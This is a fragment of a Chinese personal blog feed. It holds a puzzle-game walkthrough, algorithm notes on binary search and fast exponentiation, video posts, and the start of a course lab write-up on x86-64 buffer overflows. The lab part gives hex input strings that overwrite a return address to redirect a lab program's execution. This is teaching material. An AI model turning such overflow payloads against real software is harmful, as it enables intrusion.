&lt;p&gt;扫一下二维码，得到&lt;code class=&quot;highlighter-rouge&quot;&gt;a-z&lt;/code&gt;的转换表&lt;code class=&quot;highlighter-rouge&quot;&gt;[abcdefghijklmnopqrstuvwxyz] &amp;lt;=&amp;gt; [pvwdgazxubqfsnrhocitlkeymj]&lt;/code&gt;。替换下面的乱码得到问题：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Where there is a shell, there is a way. I expect you use the shell command to solve this problem, now, please try using the rot13 of “shell” to enter next level.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;用Rot13加密方法替换&lt;code class=&quot;highlighter-rouge&quot;&gt;shell&lt;/code&gt;这个单词。嘛继续Wiki。&lt;/p&gt;

&lt;h4 id=&quot;answer-furyyhtml&quot;&gt;answer: furyy.html&lt;/h4&gt;

&lt;h4 id=&quot;keypoint-3&quot;&gt;keypoint:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Rot13&quot;&gt;ROT13&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x04-cat&quot;&gt;0x04 Cat&lt;/h3&gt;

&lt;p&gt;（这一关卡了很久，我都快绝望的时候在v2ex上看到了用Sublime正则查找，豁然开朗）&lt;/p&gt;

&lt;p&gt;题目中给的提示有两个，一个是标题很大的&lt;code class=&quot;highlighter-rouge&quot;&gt;Palindrome&lt;/code&gt;（回文），还有一个是&lt;code class=&quot;highlighter-rouge&quot;&gt;The answer has been lost in the source&lt;/code&gt;。View Source之后发现了注释掉的代码，800行。尝试用&lt;code class=&quot;highlighter-rouge&quot;&gt;cat&lt;/code&gt;解密后发现了新的提示：&lt;code class=&quot;highlighter-rouge&quot;&gt;You need to find the pattern of &quot;cat&quot;&lt;/code&gt;，告诉我们要看图片左边的那个8行的特征：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;必须是Palindrome；&lt;/li&gt;
  &lt;li&gt;一个数字，一个大写，一个小写，提取出的都是小写字母。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;打开Sublime写个正则：&lt;code class=&quot;highlighter-rouge&quot;&gt;([A-Z])([0-9])[a-z](\2)(\1)|([0-9])([A-Z])[a-z](\6)(\5)&lt;/code&gt;，得到了符合条件的表达式：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;E1v1E &lt;br /&gt;
4FaF4&lt;br /&gt;
9XrX9&lt;br /&gt;
O3i3O&lt;br /&gt;
0MaM0&lt;br /&gt;
4GbG4&lt;br /&gt;
M5l5M&lt;br /&gt;
0WeW0&lt;br /&gt;
Y0s0Y&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;取出小写字母。&lt;/p&gt;

&lt;h4 id=&quot;answer-variableshtml&quot;&gt;answer: variables.html&lt;/h4&gt;

&lt;h4 id=&quot;keypoint-4&quot;&gt;keypoint:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://deerchao.net/tutorials/regex/regex.htm&quot;&gt;Regex Expression&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x05-variables&quot;&gt;0x05 Variables&lt;/h3&gt;

&lt;p&gt;Keep Going，点开图之后有新的网页，数字是32722。替换2014为32722，又出现了新的数字。猜测和以前的贴吧那种链接差不多，写个js搞定。&lt;/p&gt;

&lt;h4 id=&quot;answer-treehtml&quot;&gt;answer: tree.html&lt;/h4&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x06-tree&quot;&gt;0x06 Tree&lt;/h3&gt;

&lt;p&gt;给了张图，写了一棵树的中序和后序遍历。&lt;del&gt;还好电脑里有大二上学期数据结构的求先序的C++程序就跑了一下。&lt;/del&gt;得到树之后先序遍历得到数的深度最长的路径&lt;code class=&quot;highlighter-rouge&quot;&gt;zWp8LGn01wxJ7&lt;/code&gt;。下面有一串小字&lt;code class=&quot;highlighter-rouge&quot;&gt;openssl enc -aes-128-cbc -a -d -pass pass:???&lt;/code&gt;。经过&lt;a href=&quot;http://ricter.me&quot;&gt;Ricter菊苣&lt;/a&gt;指点，把&lt;code class=&quot;highlighter-rouge&quot;&gt;U2FsdGVkX1+gxunKbemS2193vhGGQ1Y8pc5gPegMAcg=&lt;/code&gt;放入&lt;code class=&quot;highlighter-rouge&quot;&gt;test.in&lt;/code&gt;中再用terminal执行：&lt;code class=&quot;highlighter-rouge&quot;&gt;openssl enc -aes-128-cbc -a -d -pass pass:zWp8LGn01wxJ7 -in test.in -out test.out&lt;/code&gt;得到答案。&lt;/p&gt;

&lt;h4 id=&quot;answer-nqueenshtml&quot;&gt;answer: nqueens.html&lt;/h4&gt;

&lt;h4 id=&quot;keypoint-5&quot;&gt;keypoint:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Tree_traversal&quot;&gt;Tree Traversal&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.csdn.net/as3luyuan123/article/details/14411039&quot;&gt;OpenSSL&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x07-n-queens&quot;&gt;0x07 N Queens&lt;/h3&gt;

&lt;p&gt;给了个&lt;code class=&quot;highlighter-rouge&quot;&gt;code = 57138642&lt;/code&gt;发现就是图上的解答。提示要我们使用⑨皇后问题生成这个&lt;code class=&quot;highlighter-rouge&quot;&gt;code&lt;/code&gt;。写个python暴力跑一下（python技术烂到家）：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cirnocee/9c1ab0d57f4b53159268.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;得到最后结果。&lt;/p&gt;

&lt;h4 id=&quot;answer-953172864html&quot;&gt;answer: 953172864.html&lt;/h4&gt;

&lt;h4 id=&quot;keypoint-6&quot;&gt;keypoint:&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.dayanjia.com/2012/10/solve-n-queen-puzzle-using-python-generator/&quot;&gt;N皇后问题&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x08-excel-column&quot;&gt;0x08 Excel Column&lt;/h3&gt;

&lt;p&gt;26进制表示。求得&lt;code class=&quot;highlighter-rouge&quot;&gt;COOLSHELL = 3×(26^8)+15×(26^7)+15×(26^6)+12×(26^5)+19×(26^4)+8×(26^3)+5×(26^2)+12×(26^1)+12 = 751743486376&lt;/code&gt;和&lt;code class=&quot;highlighter-rouge&quot;&gt;SHELL = 19×(26^4)+8×(26^3)+5×(26^2)+12×(26^1)+12 = 8826856&lt;/code&gt;。两个除一下得到答案&lt;code class=&quot;highlighter-rouge&quot;&gt;85165&lt;/code&gt;。结果进了这个网页还让我们再用字符表示，也是败了。&lt;/p&gt;

&lt;h4 id=&quot;answer-duyohtml&quot;&gt;answer: duyo.html&lt;/h4&gt;

&lt;h4 id=&quot;keypoint-7&quot;&gt;keypoint:&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;数的N进制表示&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x09-fraternal-organisation&quot;&gt;0x09 Fraternal Organisation&lt;/h3&gt;

&lt;p&gt;Google搜索了两张图，原来是&lt;code class=&quot;highlighter-rouge&quot;&gt;Pigpen Cipher&lt;/code&gt;。Wiki上说明这是一种加密方式（&lt;del&gt;zxw大神说他给妹子写过情书&lt;/del&gt;）。根据下面的一张图得到最后的破解密文。&lt;/p&gt;

&lt;h4 id=&quot;answer-helloworldhtml&quot;&gt;answer: helloworld.html&lt;/h4&gt;

&lt;h4 id=&quot;keypoint-8&quot;&gt;keypoint:&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Pigpen_Cipher&quot;&gt;Pigpen Cipher&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;0x0a-congratulations&quot;&gt;0x0a Congratulations!&lt;/h3&gt;

&lt;p&gt;Update：耗子说还有个迷。于是继续打开这个网页把图片down下来之后vim打开后发现了可以是一个rar&lt;del&gt;（感觉就是个种子）&lt;/del&gt;。解包之后有个txt得到了最终的答案。&lt;/p&gt;

&lt;h4 id=&quot;answer-dennisritchiehtml&quot;&gt;answer: DennisRitchie.html&lt;/h4&gt;

&lt;hr /&gt;

&lt;p&gt;恭喜并不代表结束。从这次小小的活动中又一次知道了自己是如此的渣逼。(╯‵□′)╯︵┻━┻&lt;/p&gt;

&lt;p&gt;最后的Ranking是37，前后也做了快5个小时。卡在cat那一关太久了=。=&lt;/p&gt;

&lt;p&gt;Wiki是个好东西，也要善于搜索。更重要的还是要平时积累啊~（摔）&lt;/p&gt;

          
          
        
      
        </content><summary>某日，看到zyq女神在群里发了个链接说：有没有人玩这个游戏啊…</summary></entry><entry><title>金曜日のおはよう</title><id>http://blog.cee.moe/kin-you-bi-no-o-ha-you.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/kin-you-bi-no-o-ha-you.html" /><published>2014-12-12T00:00:00-08:00</published><updated>2016-02-05T23:03:25-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/Yszj6jbs-xg&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;http://www.bilibili.com/video/av1792779/&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary></summary></entry><entry><title>Girls</title><id>http://blog.cee.moe/girls.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/girls.html" /><published>2014-11-17T00:00:00-08:00</published><updated>2016-02-06T06:31:46-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/6ffy0120yjw&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;http://www.bilibili.com/video/av1720206/&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary></summary></entry><entry><title>从零开始</title><id>http://blog.cee.moe/rebirth.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/rebirth.html" /><published>2014-10-29T00:00:00-07:00</published><updated>2015-08-03T05:01:58-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;今天上午的早些时候升级 Ghost 到 0.5.3 的时候，挂了。&lt;/p&gt;

&lt;p&gt;之前也做了备份但是重新恢复后死活进不了管理员后台。&lt;/p&gt;

&lt;p&gt;趁着买了泛域名证书之后把博客重新搭了一下，搬家搬到了咱的新域名（cee.moe）。&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;从无到有，从简单到复杂，从不懂到懂。&lt;/p&gt;

&lt;p&gt;希望能写出更高质量的博文，所以之前的文章如果还需要的话请Email我或者通过其他方式找到我，我再放上来。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;相信这是一个新的开始，又一次，从零开始。&lt;/strong&gt;&lt;/p&gt;

          
          
        
      
        </content><summary>今天上午的早些时候升级 Ghost 到 0.5.3 的时候，挂了。</summary></entry><entry><title>从二分查找谈起</title><id>http://blog.cee.moe/talking-from-binary-search.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/talking-from-binary-search.html" /><published>2014-10-03T00:00:00-07:00</published><updated>2015-08-03T04:59:26-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;前两天在 V2EX 上看到了这篇文章：&lt;a href=&quot;http://www.v2ex.com/t/142371&quot;&gt;挖个坑，作为 python 程序员，面试时要求手写二分查找，可以说不么&lt;/a&gt;。自己觉得作为一个正常的程序员，多多少少必须会点算法和数据结构，不仅仅要学会&lt;strong&gt;怎么用&lt;/strong&gt;，也要知道是&lt;strong&gt;怎么实现&lt;/strong&gt;的。与此同时《编程珠玑》的作者 Jon Bentley 也提到：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;90%以上的程序员无法正确无误的写出二分查找代码。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;今天就谈一下和二分有关的一些算法。&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;二分查找binary-search&quot;&gt;二分查找（Binary Search）&lt;/h4&gt;
&lt;h5 id=&quot;问题&quot;&gt;问题&lt;/h5&gt;
&lt;p&gt;二分查找又叫做折半查找。我们所碰到的问题也很简单：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;对于一个已经排好序且元素唯一的数组，如何找到我们需要的值&lt;code class=&quot;highlighter-rouge&quot;&gt;value&lt;/code&gt;？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h5 id=&quot;解决思路&quot;&gt;解决思路&lt;/h5&gt;
&lt;p&gt;想法也很明了：通过不断缩小包含我们要找到的这个值&lt;code class=&quot;highlighter-rouge&quot;&gt;value&lt;/code&gt;的范围，我们就能最终找到它。很明显，一开始的范围是整个数组长度，利用中间项的大小和&lt;code class=&quot;highlighter-rouge&quot;&gt;value&lt;/code&gt;比较我们可以缩小一半的比较范围，以此类推直到我们找到这个&lt;code class=&quot;highlighter-rouge&quot;&gt;value&lt;/code&gt;或者判断这个&lt;code class=&quot;highlighter-rouge&quot;&gt;value&lt;/code&gt;不在数组中。通过每次一半一半的筛选，二分查找的时间复杂度就是O（logn）。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;（建议大家试着写一下二分查找的代码，看看自己会有什么问题）&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;二分查找代码如下：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/Cee/526d4e89d84b3ba22306.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;注意到第五行，很多教科书会写 &lt;code class=&quot;highlighter-rouge&quot;&gt;int mid = (left + right) / 2;&lt;/code&gt; 这样的取中间值的语句，但是在 &lt;code class=&quot;highlighter-rouge&quot;&gt;left&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;right&lt;/code&gt; 都较大的时候会溢出。这个 Bug 在 &lt;code class=&quot;highlighter-rouge&quot;&gt;java.util.Arrays&lt;/code&gt; 包中存在了 8 年，所以也希望大家注意下。取中间值可以写成 &lt;code class=&quot;highlighter-rouge&quot;&gt;int mid = left + ((right - left) &amp;gt;&amp;gt; 1);&lt;/code&gt; 或者 &lt;code class=&quot;highlighter-rouge&quot;&gt;int mid = right - ((right - left) &amp;gt;&amp;gt; 1);&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;了解了实现的过程，回头想一下为何可以不断的二分查找呢？原因也很简单：因为数组&lt;strong&gt;已经排好序了&lt;/strong&gt;，也就是说这个数组满足&lt;strong&gt;单调性&lt;/strong&gt;。这一点很重要，不满足的话也无从下手缩小查找范围的地方了。总之整个数组判断 &lt;code class=&quot;highlighter-rouge&quot;&gt;f(a[i]) =&amp;lt; value&lt;/code&gt; / &lt;code class=&quot;highlighter-rouge&quot;&gt;f(a[i]) &amp;gt;= value&lt;/code&gt; 的状态结果应该是这个样子的：&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;NO ... ... NO NO YES YES ... ... YES
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h5 id=&quot;应用&quot;&gt;应用&lt;/h5&gt;
&lt;p&gt;二分查找的应用也很广泛，尤其是利用单调性这一点，可以利用他来猜测答案。具体的应用相信很多OJ菊苣都知道，渣渣在这里也就不谈了。&lt;/p&gt;

&lt;h4 id=&quot;快速幂exponentiation-by-squaring&quot;&gt;快速幂（Exponentiation by squaring）&lt;/h4&gt;
&lt;h5 id=&quot;问题-1&quot;&gt;问题&lt;/h5&gt;
&lt;p&gt;问题很简单：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;怎样计算一个数 &lt;code class=&quot;highlighter-rouge&quot;&gt;N&lt;/code&gt; 的 &lt;code class=&quot;highlighter-rouge&quot;&gt;K&lt;/code&gt; 次方？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h5 id=&quot;解决思路-1&quot;&gt;解决思路&lt;/h5&gt;
&lt;p&gt;正常的话我们会用一个递归的思路去解决：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/42341c228c9a44eb133b.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;这个递归算法再简单不过了，算法时间复杂度是 O（n）。但是如果指数非常大的时候，一方面我们无法用 &lt;code class=&quot;highlighter-rouge&quot;&gt;int&lt;/code&gt; 来存储我们的整数了，另一方面计算量实在是太大了。&lt;/p&gt;

&lt;p&gt;快速幂算法就是为了解决这个问题，算法思路就是利用了二分法。对于奇数和偶数我们分开考虑即可。&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/3f416d9180707f91f8e2.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;(非递归的也很好写，Have a try！）&lt;/p&gt;

&lt;h5 id=&quot;应用-1&quot;&gt;应用&lt;/h5&gt;
&lt;ol&gt;
  &lt;li&gt;和矩阵运算有关。计算递推数列 &lt;code class=&quot;highlighter-rouge&quot;&gt;A(n) = C(1)A(n-1) + C(2)A(n-2) + ... + C(k)A(n-k)&lt;/code&gt;（其中&lt;code class=&quot;highlighter-rouge&quot;&gt;C(i)&lt;/code&gt;为常数）时，若 n 较大的时候，我们往往把它转换成向量和矩阵的乘法进行操作，对矩阵求 n 次乘法往往会用到快速幂。&lt;/li&gt;
  &lt;li&gt;快速幂取模。在 RSA 加密中我们会用到 &lt;code class=&quot;highlighter-rouge&quot;&gt;a^b mod c&lt;/code&gt;，当 a 和 b 很大的时候，使用 O（logn）的时间计算 &lt;code class=&quot;highlighter-rouge&quot;&gt;a^b mod c&lt;/code&gt; 是非常有必要的，想法类似于快速幂，可自行实现一下。&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;p&gt;这篇文章希望大家能够看完后对&lt;strong&gt;二分思想&lt;/strong&gt;有个比较清楚的认识，更希望大家不要写错二分查找哦ԅ(╹﹃╹ԅ)&lt;/p&gt;

          
          
        
      
        </content><summary>前两天在 V2EX 上看到了这篇文章：挖个坑，作为 python 程序员，面试时要求手写二分查找，可以说不么。自己觉得作为一个正常的程序员，多多少少必须会点算法和数据结构，不仅仅要学会怎么用，也要知道是怎么实现的。与此同时《编程珠玑》的作者 Jon Bentley 也提到：</summary></entry><entry><title>Colorful World</title><id>http://blog.cee.moe/colorful-world.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/colorful-world.html" /><published>2014-08-29T00:00:00-07:00</published><updated>2016-02-06T06:33:30-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/h_Je8dYPouw&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

          
          
        
          &lt;p&gt;&lt;a href=&quot;http://www.bilibili.com/video/av1481270/&quot;&gt;&lt;small&gt;◉ Direct Link to Original Site&lt;/small&gt;&lt;/a&gt;&lt;/p&gt;
        
      
        </content><summary></summary></entry><entry><title>Dear Assembly（3）</title><id>http://blog.cee.moe/dear-assembly-3.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/dear-assembly-3.html" /><published>2014-08-01T00:00:00-07:00</published><updated>2015-08-03T04:56:36-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;&lt;del&gt;（大概是 Lab 三部曲）&lt;/del&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;intro&quot;&gt;Intro&lt;/h3&gt;

&lt;p&gt;引言的话我想推荐大家先去看 Ricter 菊苣的一篇文章：&lt;a href=&quot;http://www.ricter.me/articles/159&quot;&gt;缓冲区溢出的 Hello World&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;这篇文章的话讲的是 32 位的软娘插屁系统下的缓存区溢出，所以你看到的寄存器还是 &lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt;、&lt;code class=&quot;highlighter-rouge&quot;&gt;ebx&lt;/code&gt;等等。&lt;/p&gt;

&lt;p&gt;今天给大家介绍的话还是主要是通过 64 位系统下的操作。毕竟寄存器数量翻了一番，位数也翻了一番，效率也更高了。最最最不同的就是汇编的代码也就是实现方式不同了。这里的话先讲一点基础知识(｢･ω･)｢。&lt;/p&gt;

&lt;h4 id=&quot;关于寄存器&quot;&gt;关于寄存器&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;之前提到过，每个寄存器也是从 32 位升级到了 64 位。对于 64 位的寄存器 &lt;code class=&quot;highlighter-rouge&quot;&gt;%rax&lt;/code&gt;，它的后 32 位就相当于原来的 &lt;code class=&quot;highlighter-rouge&quot;&gt;%eax&lt;/code&gt;。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;新增了 8 个用于存放参数和临时变量的寄存器 &lt;code class=&quot;highlighter-rouge&quot;&gt;%r8&lt;/code&gt; ~ &lt;code class=&quot;highlighter-rouge&quot;&gt;r15&lt;/code&gt;。它们的后 32 位可用作 &lt;code class=&quot;highlighter-rouge&quot;&gt;%r8d&lt;/code&gt; ~ &lt;code class=&quot;highlighter-rouge&quot;&gt;%r15d&lt;/code&gt;。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;所有的寄存器可以按照 8/16/32/64 位读取和写入数据。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;增加了寄存器，减少了 &lt;code class=&quot;highlighter-rouge&quot;&gt;push&lt;/code&gt;（压栈）和 &lt;code class=&quot;highlighter-rouge&quot;&gt;pop&lt;/code&gt;（出栈）的次数。说明一下不同寄存器的作用：&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;%rax&lt;/code&gt;：保存返回值。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;%rdi&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;%rsi&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;%rdx&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;%rcx&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;%r8&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;%r9&lt;/code&gt;：保存参数，最多可以保存 6 个参数，大于 6 个采取同 32 位的做法压栈。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;%r10&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;%r11&lt;/code&gt;：调用函数（Caller）保存调用前环境参数。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;%rsp&lt;/code&gt;：栈顶指针。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;%rbp&lt;/code&gt;：基址指针。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;%rbx&lt;/code&gt;：基地址。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;%r12&lt;/code&gt; ~ &lt;code class=&quot;highlighter-rouge&quot;&gt;%r15&lt;/code&gt;：被调用函数（Callee）的临时变量。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;关于内存&quot;&gt;关于内存&lt;/h4&gt;

&lt;ol&gt;
  &lt;li&gt;分为运行时栈（Stack），堆（Heap），数据（Data）和指令（Text）四部分：&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;栈（Stack）：8MB的限制大小（IA32）。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;堆（Heap）：动态分配，使用&lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;calloc&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;new&lt;/code&gt;函数。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;数据（Data）：静态分配，部分只读，部分可读写。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;指令（Text）：运行时机器指令，只读。&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
  &lt;li&gt;四部分在内存中的位置由高到低。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;level-0&quot;&gt;Level 0&lt;/h3&gt;

&lt;p&gt;最简单的 level 了。这个 level 前一定要把调用函数的机制搞懂。&lt;/p&gt;

&lt;p&gt;Level 0 是希望在调用 &lt;code class=&quot;highlighter-rouge&quot;&gt;test()&lt;/code&gt; 函数的时候利用内部的 &lt;code class=&quot;highlighter-rouge&quot;&gt;getbuf()&lt;/code&gt; 使程序跳转到 &lt;code class=&quot;highlighter-rouge&quot;&gt;smoke()&lt;/code&gt; 中继续执行。先来看看 &lt;code class=&quot;highlighter-rouge&quot;&gt;getbuf()&lt;/code&gt; 函数的全貌：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/822ecb72b74a73eaf067.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;buffer 的长度是 36 个 char，加上压栈时的 &lt;code class=&quot;highlighter-rouge&quot;&gt;%rbx&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;%rbp&lt;/code&gt;，前面一共占用 36 + 16 = 52 个 byte，最后是 8 位的 return address。所以答案就是：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 （36 char）&lt;br /&gt;
00 00 00 00 00 00 00 00 （%rbx）&lt;br /&gt;
00 00 00 00 00 00 00 00 （%rbp）&lt;br /&gt;
00 00 00 00 c0 10 40 00 （Return address，call smoke）&lt;br /&gt;
（注意小端表示）&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&quot;level-1&quot;&gt;Level 1&lt;/h3&gt;

&lt;p&gt;和 Level 0 的区别仅仅在于传递参数的时候有个 &lt;code class=&quot;highlighter-rouge&quot;&gt;val&lt;/code&gt; 要替换成自己的 cookie。看一下调用的代码 &lt;code class=&quot;highlighter-rouge&quot;&gt;fizz()&lt;/code&gt;：&lt;/p&gt;

&lt;script src=&quot;https://gist.github.com/cee/e5d4d5c91d87d91a058f.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;参数共 7 个，而且 &lt;code class=&quot;highlighter-rouge&quot;&gt;val&lt;/code&gt; 正好是第 7 个。预备知识里面也提到了，对于一个函数最多可以在寄存器中存放 6 个参数，也就是说 &lt;code class=&quot;highlighter-rouge&quot;&gt;val&lt;/code&gt; 此时是压栈存放的。类似于 Level 0，我们也就知道了 cookie 应该保存在哪里了：&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 （36 char）&lt;br /&gt;
00 00 00 00 00 00 00 00 （%rbx）&lt;br /&gt;
00 00 00 00 00 00 00 00 （%rbp）&lt;br /&gt;
00 00 00 00 70 10 40 00 （Return address，call fizz）&lt;br /&gt;
00 00 00 00 （Alignment）&lt;br /&gt;
00 00 00 00 00 00 00 00 0b 43 71 79 17 a7 27 37 （unsigned long long）&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这里 Alignment 的作用是为了让 unsigned long long 确保地址是 16 字节对齐。&lt;/p&gt;

&lt;h3 id=&quot;level-2&quot;&gt;Level 2&lt;/h3&gt;

